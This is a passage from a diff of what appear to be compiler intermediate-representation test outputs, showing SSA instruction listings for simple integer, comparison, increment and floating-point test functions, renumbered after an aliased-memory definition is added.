r0_114(glval) = VariableAddress[z] : -# 74| r0_115(int) = Load : r0_114, m0_111 -# 74| r0_116(int) = BitAnd : r0_115, r0_113 -# 74| m0_117(int) = Store : r0_114, r0_116 -# 75| r0_118(glval) = VariableAddress[x] : -# 75| r0_119(int) = Load : r0_118, m0_3 -# 75| r0_120(glval) = VariableAddress[z] : -# 75| r0_121(int) = Load : r0_120, m0_117 -# 75| r0_122(int) = BitOr : r0_121, r0_119 -# 75| m0_123(int) = Store : r0_120, r0_122 -# 76| r0_124(glval) = VariableAddress[x] : -# 76| r0_125(int) = Load : r0_124, m0_3 -# 76| r0_126(glval) = VariableAddress[z] : -# 76| r0_127(int) = Load : r0_126, m0_123 -# 76| r0_128(int) = BitXor : r0_127, r0_125 -# 76| m0_129(int) = Store : r0_126, r0_128 -# 78| r0_130(glval) = VariableAddress[x] : -# 78| r0_131(int) = Load : r0_130, m0_3 -# 78| r0_132(glval) = VariableAddress[z] : -# 78| r0_133(int) = Load : r0_132, m0_129 -# 78| r0_134(int) = ShiftLeft : r0_133, r0_131 -# 78| m0_135(int) = Store : r0_132, r0_134 -# 79| r0_136(glval) = VariableAddress[x] : -# 79| r0_137(int) = Load : r0_136, m0_3 -# 79| r0_138(glval) = VariableAddress[z] : -# 79| r0_139(int) = Load : r0_138, m0_135 -# 79| r0_140(int) = ShiftRight : r0_139, r0_137 -# 79| m0_141(int) = Store : r0_138, r0_140 -# 81| r0_142(glval) = VariableAddress[x] : -# 81| r0_143(int) = Load : r0_142, m0_3 -# 81| r0_144(int) = CopyValue : r0_143 -# 81| r0_145(glval) = VariableAddress[z] : -# 81| m0_146(int) = Store : r0_145, r0_144 -# 82| r0_147(glval) = VariableAddress[x] : -# 82| r0_148(int) = Load : r0_147, m0_3 -# 82| r0_149(int) = Negate : r0_148 -# 82| r0_150(glval) = VariableAddress[z] : -# 82| m0_151(int) = Store : r0_150, r0_149 -# 83| r0_152(glval) = VariableAddress[x] : -# 83| r0_153(int) = Load : r0_152, m0_3 -# 83| r0_154(int) = BitComplement : r0_153 -# 83| r0_155(glval) = VariableAddress[z] : -# 83| m0_156(int) = Store : r0_155, r0_154 -# 84| r0_157(glval) = VariableAddress[x] : -# 84| r0_158(int) = Load : r0_157, m0_3 -# 84| r0_159(int) = Constant[0] : -# 84| r0_160(bool) = CompareNE : r0_158, r0_159 -# 84| r0_161(bool) = LogicalNot : r0_160 -# 84| r0_162(int) = Convert : r0_161 -# 84| r0_163(glval) = VariableAddress[z] : -# 84| m0_164(int) = Store : r0_163, r0_162 -# 85| v0_165(void) = NoOp : -# 50| v0_166(void) = ReturnVoid : -# 50| v0_167(void) = UnmodeledUse : mu* -# 50| v0_168(void) = ExitFunction : +# 50| mu0_1(unknown) = AliasedDefinition : +# 50| mu0_2(unknown) = UnmodeledDefinition : +# 50| r0_3(glval) = VariableAddress[x] : +# 50| m0_4(int) = InitializeParameter[x] : r0_3 +# 50| r0_5(glval) = VariableAddress[y] : +# 50| m0_6(int) = InitializeParameter[y] : r0_5 +# 51| r0_7(glval) = VariableAddress[z] : +# 51| m0_8(int) = Uninitialized[z] : r0_7 +# 53| r0_9(glval) = VariableAddress[x] : +# 53| r0_10(int) = Load : r0_9, m0_4 +# 53| r0_11(glval) = VariableAddress[y] : +# 53| r0_12(int) = Load : r0_11, m0_6 +# 53| r0_13(int) = Add : r0_10, r0_12 +# 53| r0_14(glval) = VariableAddress[z] : +# 53| m0_15(int) = Store : r0_14, r0_13 +# 54| r0_16(glval) = VariableAddress[x] : +# 54| r0_17(int) = Load : r0_16, m0_4 +# 54| r0_18(glval) = VariableAddress[y] : +# 54| r0_19(int) = Load : r0_18, m0_6 +# 54| r0_20(int) = Sub : r0_17, r0_19 +# 54| r0_21(glval) = VariableAddress[z] : +# 54| m0_22(int) = Store : r0_21, r0_20 +# 55| r0_23(glval) = VariableAddress[x] : +# 55| r0_24(int) = Load : r0_23, m0_4 +# 55| r0_25(glval) = VariableAddress[y] : +# 55| r0_26(int) = Load : r0_25, m0_6 +# 55| r0_27(int) = Mul : r0_24, r0_26 +# 55| r0_28(glval) = VariableAddress[z] : +# 55| m0_29(int) = Store : r0_28, r0_27 +# 56| r0_30(glval) = VariableAddress[x] : +# 56| r0_31(int) = Load : r0_30, m0_4 +# 56| r0_32(glval) = VariableAddress[y] : +# 56| r0_33(int) = Load : r0_32, m0_6 +# 56| r0_34(int) = Div : r0_31, r0_33 +# 56| r0_35(glval) = VariableAddress[z] : +# 56| m0_36(int) = Store : r0_35, r0_34 +# 57| r0_37(glval) = VariableAddress[x] : +# 57| r0_38(int) = Load : r0_37, m0_4 +# 57| r0_39(glval) = VariableAddress[y] : +# 57| r0_40(int) = Load : r0_39, m0_6 +# 57| r0_41(int) = Rem : r0_38, r0_40 +# 57| r0_42(glval) = VariableAddress[z] : +# 57| m0_43(int) = Store : r0_42, r0_41 +# 59| r0_44(glval) = VariableAddress[x] : +# 59| r0_45(int) = Load : r0_44, m0_4 +# 59| r0_46(glval) = VariableAddress[y] : +# 59| r0_47(int) = Load : r0_46, m0_6 +# 59| r0_48(int) = BitAnd : r0_45, r0_47 +# 59| r0_49(glval) = VariableAddress[z] : +# 59| m0_50(int) = Store : r0_49, r0_48 +# 60| r0_51(glval) = VariableAddress[x] : +# 60| r0_52(int) = Load : r0_51, m0_4 +# 60| r0_53(glval) = VariableAddress[y] : +# 60| r0_54(int) = Load : r0_53, m0_6 +# 60| r0_55(int) = BitOr : r0_52, r0_54 +# 60| r0_56(glval) = VariableAddress[z] : +# 60| m0_57(int) = Store : r0_56, r0_55 +# 61| r0_58(glval) = VariableAddress[x] : +# 61| r0_59(int) = Load : r0_58, m0_4 +# 61| r0_60(glval) = VariableAddress[y] : +# 61| r0_61(int) = Load : r0_60, m0_6 +# 61| r0_62(int) = BitXor : r0_59, r0_61 +# 61| r0_63(glval) = VariableAddress[z] : +# 61| m0_64(int) = Store : r0_63, r0_62 +# 63| r0_65(glval) = VariableAddress[x] : +# 63| r0_66(int) = Load : r0_65, m0_4 +# 63| r0_67(glval) = VariableAddress[y] : +# 63| r0_68(int) = Load : r0_67, m0_6 +# 63| r0_69(int) = ShiftLeft : r0_66, r0_68 +# 63| r0_70(glval) = VariableAddress[z] : +# 63| m0_71(int) = Store : r0_70, r0_69 +# 64| r0_72(glval) = VariableAddress[x] : +# 64| r0_73(int) = Load : r0_72, m0_4 +# 64| r0_74(glval) = VariableAddress[y] : +# 64| r0_75(int) = Load : r0_74, m0_6 +# 64| r0_76(int) = ShiftRight : r0_73, r0_75 +# 64| r0_77(glval) = VariableAddress[z] : +# 64| m0_78(int) = Store : r0_77, r0_76 +# 66| r0_79(glval) = VariableAddress[x] : +# 66| r0_80(int) = Load : r0_79, m0_4 +# 66| r0_81(glval) = VariableAddress[z] : +# 66| m0_82(int) = Store : r0_81, r0_80 +# 68| r0_83(glval) = VariableAddress[x] : +# 68| r0_84(int) = Load : r0_83, m0_4 +# 68| r0_85(glval) = VariableAddress[z] : +# 68| r0_86(int) = Load : r0_85, m0_82 +# 68| r0_87(int) = Add : r0_86, r0_84 +# 68| m0_88(int) = Store : r0_85, r0_87 +# 69| r0_89(glval) = VariableAddress[x] : +# 69| r0_90(int) = Load : r0_89, m0_4 +# 69| r0_91(glval) = VariableAddress[z] : +# 69| r0_92(int) = Load : r0_91, m0_88 +# 69| r0_93(int) = Sub : r0_92, r0_90 +# 69| m0_94(int) = Store : r0_91, r0_93 +# 70| r0_95(glval) = VariableAddress[x] : +# 70| r0_96(int) = Load : r0_95, m0_4 +# 70| r0_97(glval) = VariableAddress[z] : +# 70| r0_98(int) = Load : r0_97, m0_94 +# 70| r0_99(int) = Mul : r0_98, r0_96 +# 70| m0_100(int) = Store : r0_97, r0_99 +# 71| r0_101(glval) = VariableAddress[x] : +# 71| r0_102(int) = Load : r0_101, m0_4 +# 71| r0_103(glval) = VariableAddress[z] : +# 71| r0_104(int) = Load : r0_103, m0_100 +# 71| r0_105(int) = Div : r0_104, r0_102 +# 71| m0_106(int) = Store : r0_103, r0_105 +# 72| r0_107(glval) = VariableAddress[x] : +# 72| r0_108(int) = Load : r0_107, m0_4 +# 72| r0_109(glval) = VariableAddress[z] : +# 72| r0_110(int) = Load : r0_109, m0_106 +# 72| r0_111(int) = Rem : r0_110, r0_108 +# 72| m0_112(int) = Store : r0_109, r0_111 +# 74| r0_113(glval) = VariableAddress[x] : +# 74| r0_114(int) = Load : r0_113, m0_4 +# 74| r0_115(glval) = VariableAddress[z] : +# 74| r0_116(int) = Load : r0_115, m0_112 +# 74| r0_117(int) = BitAnd : r0_116, r0_114 +# 74| m0_118(int) = Store : r0_115, r0_117 +# 75| r0_119(glval) = VariableAddress[x] : +# 75| r0_120(int) = Load : r0_119, m0_4 +# 75| r0_121(glval) = VariableAddress[z] : +# 75| r0_122(int) = Load : r0_121, m0_118 +# 75| r0_123(int) = BitOr : r0_122, r0_120 +# 75| m0_124(int) = Store : r0_121, r0_123 +# 76| r0_125(glval) = VariableAddress[x] : +# 76| r0_126(int) = Load : r0_125, m0_4 +# 76| r0_127(glval) = VariableAddress[z] : +# 76| r0_128(int) = Load : r0_127, m0_124 +# 76| r0_129(int) = BitXor : r0_128, r0_126 +# 76| m0_130(int) = Store : r0_127, r0_129 +# 78| r0_131(glval) = VariableAddress[x] : +# 78| r0_132(int) = Load : r0_131, m0_4 +# 78| r0_133(glval) = VariableAddress[z] : +# 78| r0_134(int) = Load : r0_133, m0_130 +# 78| r0_135(int) = ShiftLeft : r0_134, r0_132 +# 78| m0_136(int) = Store : r0_133, r0_135 +# 79| r0_137(glval) = VariableAddress[x] : +# 79| r0_138(int) = Load : r0_137, m0_4 +# 79| r0_139(glval) = VariableAddress[z] : +# 79| r0_140(int) = Load : r0_139, m0_136 +# 79| r0_141(int) = ShiftRight : r0_140, r0_138 +# 79| m0_142(int) = Store : r0_139, r0_141 +# 81| r0_143(glval) = VariableAddress[x] : +# 81| r0_144(int) = Load : r0_143, m0_4 +# 81| r0_145(int) = CopyValue : r0_144 +# 81| r0_146(glval) = VariableAddress[z] : +# 81| m0_147(int) = Store : r0_146, r0_145 +# 82| r0_148(glval) = VariableAddress[x] : +# 82| r0_149(int) = Load : r0_148, m0_4 +# 82| r0_150(int) = Negate : r0_149 +# 82| r0_151(glval) = VariableAddress[z] : +# 82| m0_152(int) = Store : r0_151, r0_150 +# 83| r0_153(glval) = VariableAddress[x] : +# 83| r0_154(int) = Load : r0_153, m0_4 +# 83| r0_155(int) = BitComplement : r0_154 +# 83| r0_156(glval) = VariableAddress[z] : +# 83| m0_157(int) = Store : r0_156, r0_155 +# 84| r0_158(glval) = VariableAddress[x] : +# 84| r0_159(int) = Load : r0_158, m0_4 +# 84| r0_160(int) = Constant[0] : +# 84| r0_161(bool) = CompareNE : r0_159, r0_160 +# 84| r0_162(bool) = LogicalNot : r0_161 +# 84| r0_163(int) = Convert : r0_162 +# 84| r0_164(glval) = VariableAddress[z] : +# 84| m0_165(int) = Store : r0_164, r0_163 +# 85| v0_166(void) = NoOp : +# 50| v0_167(void) = ReturnVoid : +# 50| v0_168(void) = UnmodeledUse : mu* +# 50| v0_169(void) = ExitFunction : # 87| IntegerCompare(int, int) -> void # 87| Block 0 # 87| v0_0(void) = EnterFunction : -# 87| mu0_1(unknown) = UnmodeledDefinition : -# 87| r0_2(glval) = VariableAddress[x] : -# 87| m0_3(int) = InitializeParameter[x] : r0_2 -# 87| r0_4(glval) = VariableAddress[y] : -# 87| m0_5(int) = InitializeParameter[y] : r0_4 -# 88| r0_6(glval) = VariableAddress[b] : -# 88| m0_7(bool) = Uninitialized : r0_6 -# 90| r0_8(glval) = VariableAddress[x] : -# 90| r0_9(int) = Load : r0_8, m0_3 -# 90| r0_10(glval) = VariableAddress[y] : -# 90| r0_11(int) = Load : r0_10, m0_5 -# 90| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 90| r0_13(glval) = VariableAddress[b] : -# 90| m0_14(bool) = Store : r0_13, r0_12 -# 91| r0_15(glval) = VariableAddress[x] : -# 91| r0_16(int) = Load : r0_15, m0_3 -# 91| r0_17(glval) = VariableAddress[y] : -# 91| r0_18(int) = Load : r0_17, m0_5 -# 91| r0_19(bool) = CompareNE : r0_16, r0_18 -# 91| r0_20(glval) = VariableAddress[b] : -# 91| m0_21(bool) = Store : r0_20, r0_19 -# 92| r0_22(glval) = VariableAddress[x] : -# 92| r0_23(int) = Load : r0_22, m0_3 -# 92| r0_24(glval) = VariableAddress[y] : -# 92| r0_25(int) = Load : r0_24, m0_5 -# 92| r0_26(bool) = CompareLT : r0_23, r0_25 -# 92| r0_27(glval) = VariableAddress[b] : -# 92| m0_28(bool) = Store : r0_27, r0_26 -# 93| r0_29(glval) = VariableAddress[x] : -# 93| r0_30(int) = Load : r0_29, m0_3 -# 93| r0_31(glval) = VariableAddress[y] : -# 93| r0_32(int) = Load : r0_31, m0_5 -# 93| r0_33(bool) = CompareGT : r0_30, r0_32 -# 93| r0_34(glval) = VariableAddress[b] : -# 93| m0_35(bool) = Store : r0_34, r0_33 -# 94| r0_36(glval) = VariableAddress[x] : -# 94| r0_37(int) = Load : r0_36, m0_3 -# 94| r0_38(glval) = VariableAddress[y] : -# 94| r0_39(int) = Load : r0_38, m0_5 -# 94| r0_40(bool) = CompareLE : r0_37, r0_39 -# 94| r0_41(glval) = VariableAddress[b] : -# 94| m0_42(bool) = Store : r0_41, r0_40 -# 95| r0_43(glval) = VariableAddress[x] : -# 95| r0_44(int) = Load : r0_43, m0_3 -# 95| r0_45(glval) = VariableAddress[y] : -# 95| r0_46(int) = Load : r0_45, m0_5 -# 95| r0_47(bool) = CompareGE : r0_44, r0_46 -# 95| r0_48(glval) = VariableAddress[b] : -# 95| m0_49(bool) = Store : r0_48, r0_47 -# 96| v0_50(void) = NoOp : -# 87| v0_51(void) = ReturnVoid : -# 87| v0_52(void) = UnmodeledUse : mu* -# 87| v0_53(void) = ExitFunction : +# 87| mu0_1(unknown) = AliasedDefinition : +# 87| mu0_2(unknown) = UnmodeledDefinition : +# 87| r0_3(glval) = VariableAddress[x] : +# 87| m0_4(int) = InitializeParameter[x] : r0_3 +# 87| r0_5(glval) = VariableAddress[y] : +# 87| m0_6(int) = InitializeParameter[y] : r0_5 +# 88| r0_7(glval) = VariableAddress[b] : +# 88| m0_8(bool) = Uninitialized[b] : r0_7 +# 90| r0_9(glval) = VariableAddress[x] : +# 90| r0_10(int) = Load : r0_9, m0_4 +# 90| r0_11(glval) = VariableAddress[y] : +# 90| r0_12(int) = Load : r0_11, m0_6 +# 90| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 90| r0_14(glval) = VariableAddress[b] : +# 90| m0_15(bool) = Store : r0_14, r0_13 +# 91| r0_16(glval) = VariableAddress[x] : +# 91| r0_17(int) = Load : r0_16, m0_4 +# 91| r0_18(glval) = VariableAddress[y] : +# 91| r0_19(int) = Load : r0_18, m0_6 +# 91| r0_20(bool) = CompareNE : r0_17, r0_19 +# 91| r0_21(glval) = VariableAddress[b] : +# 91| m0_22(bool) = Store : r0_21, r0_20 +# 92| r0_23(glval) = VariableAddress[x] : +# 92| r0_24(int) = Load : r0_23, m0_4 +# 92| r0_25(glval) = VariableAddress[y] : +# 92| r0_26(int) = Load : r0_25, m0_6 +# 92| r0_27(bool) = CompareLT : r0_24, r0_26 +# 92| r0_28(glval) = VariableAddress[b] : +# 92| m0_29(bool) = Store : r0_28, r0_27 +# 93| r0_30(glval) = VariableAddress[x] : +# 93| r0_31(int) = Load : r0_30, m0_4 +# 93| r0_32(glval) = VariableAddress[y] : +# 93| r0_33(int) = Load : r0_32, m0_6 +# 93| r0_34(bool) = CompareGT : r0_31, r0_33 +# 93| r0_35(glval) = VariableAddress[b] : +# 93| m0_36(bool) = Store : r0_35, r0_34 +# 94| r0_37(glval) = VariableAddress[x] : +# 94| r0_38(int) = Load : r0_37, m0_4 +# 94| r0_39(glval) = VariableAddress[y] : +# 94| r0_40(int) = Load : r0_39, m0_6 +# 94| r0_41(bool) = CompareLE : r0_38, r0_40 +# 94| r0_42(glval) = VariableAddress[b] : +# 94| m0_43(bool) = Store : r0_42, r0_41 +# 95| r0_44(glval) = VariableAddress[x] : +# 95| r0_45(int) = Load : r0_44, m0_4 +# 95| r0_46(glval) = VariableAddress[y] : +# 95| r0_47(int) = Load : r0_46, m0_6 +# 95| r0_48(bool) = CompareGE : r0_45, r0_47 +# 95| r0_49(glval) = VariableAddress[b] : +# 95| m0_50(bool) = Store : r0_49, r0_48 +# 96| v0_51(void) = NoOp : +# 87| v0_52(void) = ReturnVoid : +# 87| v0_53(void) = UnmodeledUse : mu* +# 87| v0_54(void) = ExitFunction : # 98| IntegerCrement(int) -> void # 98| Block 0 # 98| v0_0(void) = EnterFunction : -# 98| mu0_1(unknown) = UnmodeledDefinition : -# 98| r0_2(glval) = VariableAddress[x] : -# 98| m0_3(int) = InitializeParameter[x] : r0_2 -# 99| r0_4(glval) = VariableAddress[y] : -# 99| m0_5(int) = Uninitialized : r0_4 -# 101| r0_6(glval) = VariableAddress[x] : -# 101| r0_7(int) = Load : r0_6, m0_3 -# 101| r0_8(int) = Constant[1] : -# 101| r0_9(int) = Add : r0_7, r0_8 -# 101| m0_10(int) = Store : r0_6, r0_9 -# 101| r0_11(glval) = VariableAddress[y] : -# 101| m0_12(int) = Store : r0_11, r0_9 -# 102| r0_13(glval) = VariableAddress[x] : -# 102| r0_14(int) = Load : r0_13, m0_10 -# 102| r0_15(int) = Constant[1] : -# 102| r0_16(int) = Sub : r0_14, r0_15 -# 102| m0_17(int) = Store : r0_13, r0_16 -# 102| r0_18(glval) = VariableAddress[y] : -# 102| m0_19(int) = Store : r0_18, r0_16 -# 103| r0_20(glval) = VariableAddress[x] : -# 103| r0_21(int) = Load : r0_20, m0_17 -# 103| r0_22(int) = Constant[1] : -# 103| r0_23(int) = Add : r0_21, r0_22 -# 103| m0_24(int) = Store : r0_20, r0_23 -# 103| r0_25(glval) = VariableAddress[y] : -# 103| m0_26(int) = Store : r0_25, r0_21 -# 104| r0_27(glval) = VariableAddress[x] : -# 104| r0_28(int) = Load : r0_27, m0_24 -# 104| r0_29(int) = Constant[1] : -# 104| r0_30(int) = Sub : r0_28, r0_29 -# 104| m0_31(int) = Store : r0_27, r0_30 -# 104| r0_32(glval) = VariableAddress[y] : -# 104| m0_33(int) = Store : r0_32, r0_28 -# 105| v0_34(void) = NoOp : -# 98| v0_35(void) = ReturnVoid : -# 98| v0_36(void) = UnmodeledUse : mu* -# 98| v0_37(void) = ExitFunction : +# 98| mu0_1(unknown) = AliasedDefinition : +# 98| mu0_2(unknown) = UnmodeledDefinition : +# 98| r0_3(glval) = VariableAddress[x] : +# 98| m0_4(int) = InitializeParameter[x] : r0_3 +# 99| r0_5(glval) = VariableAddress[y] : +# 99| m0_6(int) = Uninitialized[y] : r0_5 +# 101| r0_7(glval) = VariableAddress[x] : +# 101| r0_8(int) = Load : r0_7, m0_4 +# 101| r0_9(int) = Constant[1] : +# 101| r0_10(int) = Add : r0_8, r0_9 +# 101| m0_11(int) = Store : r0_7, r0_10 +# 101| r0_12(glval) = VariableAddress[y] : +# 101| m0_13(int) = Store : r0_12, r0_10 +# 102| r0_14(glval) = VariableAddress[x] : +# 102| r0_15(int) = Load : r0_14, m0_11 +# 102| r0_16(int) = Constant[1] : +# 102| r0_17(int) = Sub : r0_15, r0_16 +# 102| m0_18(int) = Store : r0_14, r0_17 +# 102| r0_19(glval) = VariableAddress[y] : +# 102| m0_20(int) = Store : r0_19, r0_17 +# 103| r0_21(glval) = VariableAddress[x] : +# 103| r0_22(int) = Load : r0_21, m0_18 +# 103| r0_23(int) = Constant[1] : +# 103| r0_24(int) = Add : r0_22, r0_23 +# 103| m0_25(int) = Store : r0_21, r0_24 +# 103| r0_26(glval) = VariableAddress[y] : +# 103| m0_27(int) = Store : r0_26, r0_22 +# 104| r0_28(glval) = VariableAddress[x] : +# 104| r0_29(int) = Load : r0_28, m0_25 +# 104| r0_30(int) = Constant[1] : +# 104| r0_31(int) = Sub : r0_29, r0_30 +# 104| m0_32(int) = Store : r0_28, r0_31 +# 104| r0_33(glval) = VariableAddress[y] : +# 104| m0_34(int) = Store : r0_33, r0_29 +# 105| v0_35(void) = NoOp : +# 98| v0_36(void) = ReturnVoid : +# 98| v0_37(void) = UnmodeledUse : mu* +# 98| v0_38(void) = ExitFunction : # 107| IntegerCrement_LValue(int) -> void # 107| Block 0 # 107| v0_0(void) = EnterFunction : -# 107| mu0_1(unknown) = UnmodeledDefinition : -# 107| r0_2(glval) = VariableAddress[x] : -# 107| mu0_3(int) = InitializeParameter[x] : r0_2 -# 108| r0_4(glval) = VariableAddress[p] : -# 108| m0_5(int *) = Uninitialized : r0_4 -# 110| r0_6(glval) = VariableAddress[x] : -# 110| r0_7(int) = Load : r0_6, mu0_1 -# 110| r0_8(int) = Constant[1] : -# 110| r0_9(int) = Add : r0_7, r0_8 -# 110| mu0_10(int) = Store : r0_6, r0_9 -# 110| r0_11(glval) = VariableAddress[p] : -# 110| m0_12(int *) = Store : r0_11, r0_6 -# 111| r0_13(glval) = VariableAddress[x] : -# 111| r0_14(int) = Load : r0_13, mu0_1 -# 111| r0_15(int) = Constant[1] : -# 111| r0_16(int) = Sub : r0_14, r0_15 -# 111| mu0_17(int) = Store : r0_13, r0_16 -# 111| r0_18(glval) = VariableAddress[p] : -# 111| m0_19(int *) = Store : r0_18, r0_13 -# 112| v0_20(void) = NoOp : -# 107| v0_21(void) = ReturnVoid : -# 107| v0_22(void) = UnmodeledUse : mu* -# 107| v0_23(void) = ExitFunction : +# 107| mu0_1(unknown) = AliasedDefinition : +# 107| mu0_2(unknown) = UnmodeledDefinition : +# 107| r0_3(glval) = VariableAddress[x] : +# 107| mu0_4(int) = InitializeParameter[x] : r0_3 +# 108| r0_5(glval) = VariableAddress[p] : +# 108| m0_6(int *) = Uninitialized[p] : r0_5 +# 110| r0_7(glval) = VariableAddress[x] : +# 110| r0_8(int) = Load : r0_7, mu0_2 +# 110| r0_9(int) = Constant[1] : +# 110| r0_10(int) = Add : r0_8, r0_9 +# 110| mu0_11(int) = Store : r0_7, r0_10 +# 110| r0_12(glval) = VariableAddress[p] : +# 110| m0_13(int *) = Store : r0_12, r0_7 +# 111| r0_14(glval) = VariableAddress[x] : +# 111| r0_15(int) = Load : r0_14, mu0_2 +# 111| r0_16(int) = Constant[1] : +# 111| r0_17(int) = Sub : r0_15, r0_16 +# 111| mu0_18(int) = Store : r0_14, r0_17 +# 111| r0_19(glval) = VariableAddress[p] : +# 111| m0_20(int *) = Store : r0_19, r0_14 +# 112| v0_21(void) = NoOp : +# 107| v0_22(void) = ReturnVoid : +# 107| v0_23(void) = UnmodeledUse : mu* +# 107| v0_24(void) = ExitFunction : # 114| FloatOps(double, double) -> void # 114| Block 0 # 114| v0_0(void) = EnterFunction : -# 114| mu0_1(unknown) = UnmodeledDefinition : -# 114| r0_2(glval) = VariableAddress[x] : -# 114| m0_3(double) = InitializeParameter[x] : r0_2 -# 114| r0_4(glval) = VariableAddress[y] : -# 114| m0_5(double) = InitializeParameter[y] : r0_4 -# 115| r0_6(glval) = VariableAddress[z] : -# 115| m0_7(double) = Uninitialized : r0_6 -# 117| r0_8(glval) = VariableAddress[x] : -# 117| r0_9(double) = Load : r0_8, m0_3 -# 117| r0_10(glval) = VariableAddress[y] : -# 117| r0_11(double) = Load : r0_10, m0_5 -# 117| r0_12(double) = Add : r0_9, r0_11 -# 117| r0_13(glval) = VariableAddress[z] : -# 117| m0_14(double) = Store : r0_13, r0_12 -# 118| r0_15(glval) = VariableAddress[x] : -# 118| r0_16(double) = Load : r0_15, m0_3 -# 118| r0_17(glval) = VariableAddress[y] : -# 118| r0_18(double) = Load : r0_17, m0_5 -# 118| r0_19(double) = Sub : r0_16, r0_18 -# 118| r0_20(glval) = VariableAddress[z] : -# 118| m0_21(double) = Store : r0_20, r0_19 -# 119| r0_22(glval) = VariableAddress[x] : -# 119| r0_23(double) = Load : r0_22, m0_3 -# 119| r0_24(glval) = VariableAddress[y] : -# 119| r0_25(double) = Load : r0_24, m0_5 -# 119| r0_26(double) = Mul : r0_23, r0_25 -# 119| r0_27(glval) = VariableAddress[z] : -# 119| m0_28(double) = Store : r0_27, r0_26 -# 120| r0_29(glval) = VariableAddress[x] : -# 120| r0_30(double) = Load : r0_29, m0_3 -# 120| r0_31(glval) = VariableAddress[y] : -# 120| r0_32(double) = Load : r0_31, m0_5 -# 120| r0_33(double) = Div : r0_30, r0_32 -# 120| r0_34(glval) = VariableAddress[z] : -# 120| m0_35(double) = Store : r0_34, r0_33 -# 122| r0_36(glval) = VariableAddress[x] : -# 122| r0_37(double) = Load : r0_36, m0_3 -# 122| r0_38(glval) = VariableAddress[z] : -# 122| m0_39(double) = Store : r0_38, r0_37 -# 124| r0_40(glval) = VariableAddress[x] : -# 124| r0_41(double) = Load : r0_40, m0_3 -# 124| r0_42(glval) = VariableAddress[z] : -# 124| r0_43(double) = Load : r0_42, m0_39 -# 124| r0_44(double) = Add : r0_43, r0_41 -# 124| m0_45(double) = Store : r0_42, r0_44 -# 125| r0_46(glval) = VariableAddress[x] : -# 125| r0_47(double) = Load : r0_46, m0_3 -# 125| r0_48(glval) = VariableAddress[z] : -# 125| r0_49(double) = Load : r0_48, m0_45 -# 125| r0_50(double) = Sub : r0_49, r0_47 -# 125| m0_51(double) = Store : r0_48, r0_50 -# 126| r0_52(glval) = VariableAddress[x] : -# 126| r0_53(double) = Load : r0_52, m0_3 -# 126| r0_54(glval) = VariableAddress[z] : -# 126| r0_55(double) = Load : r0_54, m0_51 -# 126| r0_56(double) = Mul : r0_55, r0_53 -# 126| m0_57(double) = Store : r0_54, r0_56 -# 127| r0_58(glval) = VariableAddress[x] : -# 127| r0_59(double) = Load : r0_58, m0_3 -# 127| r0_60(glval) = VariableAddress[z] : -# 127| r0_61(double) = Load : r0_60, m0_57 -# 127| r0_62(double) = Div : r0_61, r0_59 -# 127| m0_63(double) = Store : r0_60, r0_62 -# 129| r0_64(glval) = VariableAddress[x] : -# 129| r0_65(double) = Load : r0_64, m0_3 -# 129| r0_66(double) = CopyValue : r0_65 -# 129| r0_67(glval) = VariableAddress[z] : -# 129| m0_68(double) = Store : r0_67, r0_66 -# 130| r0_69(glval) = VariableAddress[x] : -# 130| r0_70(double) = Load : r0_69, m0_3 -# 130| r0_71(double) = Negate : r0_70 -# 130| r0_72(glval) = VariableAddress[z] : -# 130| m0_73(double) = Store : r0_72, r0_71 -# 131| v0_74(void) = NoOp : -# 114| v0_75(void) = ReturnVoid : -# 114| v0_76(void) = UnmodeledUse : mu* -# 114| v0_77(void) = ExitFunction : +# 114| mu0_1(unknown) = AliasedDefinition : +# 114| mu0_2(unknown) = UnmodeledDefinition : +# 114| r0_3(glval) = VariableAddress[x] : +# 114| m0_4(double) = InitializeParameter[x] : r0_3 +# 114| r0_5(glval) = VariableAddress[y] : +# 114| m0_6(double) = InitializeParameter[y] : r0_5 +# 115| r0_7(glval) = VariableAddress[z] : +# 115| m0_8(double) = Uninitialized[z] : r0_7 +# 117| r0_9(glval) = VariableAddress[x] : +# 117| r0_10(double) = Load : r0_9, m0_4 +# 117| r0_11(glval) = VariableAddress[y] : +# 117| r0_12(double) = Load : r0_11, m0_6 +# 117| r0_13(double) = Add : r0_10, r0_12 +# 117| r0_14(glval) = VariableAddress[z] : +# 117| m0_15(double) = Store : r0_14, r0_13 +# 118| r0_16(glval) = VariableAddress[x] : +# 118| r0_17(double) = Load : r0_16, m0_4 +# 118| r0_18(glval) = VariableAddress[y] : +# 118| r0_19(double) = Load : r0_18, m0_6 +# 118| r0_20(double) = Sub : r0_17, r0_19 +# 118| r0_21(glval) = VariableAddress[z] : +# 118| m0_22(double) = Store : r0_21, r0_20 +# 119| r0_23(glval) = VariableAddress[x] : +# 119| r0_24(double) = Load : r0_23, m0_4 +# 119| r0_25(glval) = VariableAddress[y] : +# 119| r0_26(double) = Load : r0_25, m0_6 +# 119| r0_27(double) = Mul : r0_24, r0_26 +# 119| r0_28(glval) = VariableAddress[z] : +# 119| m0_29(double) = Store : r0_28, r0_27 +# 120| r0_30(glval) = VariableAddress[x] : +# 120| r0_31(double) = Load : r0_30, m0_4 +# 120| r0_32(glval) = VariableAddress[y] : +# 120| r0_33(double) = Load : r0_32, m0_6 +# 120| r0_34(double) = Div : r0_31, r0_33 +# 120| r0_35(glval) = VariableAddress[z] : +# 120| m0_36(double) = Store : r0_35, r0_34 +# 122| r0_37(glval) = VariableAddress[x] : +# 122| r0_38(double) = Load : r0_37, m0_4 +# 122| r0_39(glval) = VariableAddress[z] : +# 122| m0_40(double) = Store : r0_39, r0_38 +# 124| r0_41(glval) = VariableAddress[x] : +# 124| r0_42(double) = Load : r0_41, m0_4 +# 124| r0_43(glval) = VariableAddress[z] : +# 124| r0_44(double) = Load : r0_43, m0_40 +# 124| r0_45(double) = Add : r0_44, r0_42 +# 124| m0_46(double) = Store : r0_43, r0_45 +# 125| r0_47(glval) = VariableAddress[x] : +# 125| r0_48(double) = Load : r0_47, m0_4 +# 125| r0_49(glval) = VariableAddress[z] : +# 125| r0_50(double) = Load : r0_49, m0_46 +# 125| r0_51(double) = Sub : r0_50, r0_48 +# 125| m0_52(double) = Store : r0_49, r0_51 +# 126| r0_53(glval) = VariableAddress[x] : +# 126| r0_54(double) = Load : r0_53, m0_4 +# 126| r0_55(glval) = VariableAddress[z] : +# 126| r0_56(double) = Load : r0_55, m0_52 +# 126| r0_57(double) = Mul : r0_56, r0_54 +# 126| m0_58(double) = Store : r0_55, r0_57 +# 127| r0_59(glval) = VariableAddress[x] : +# 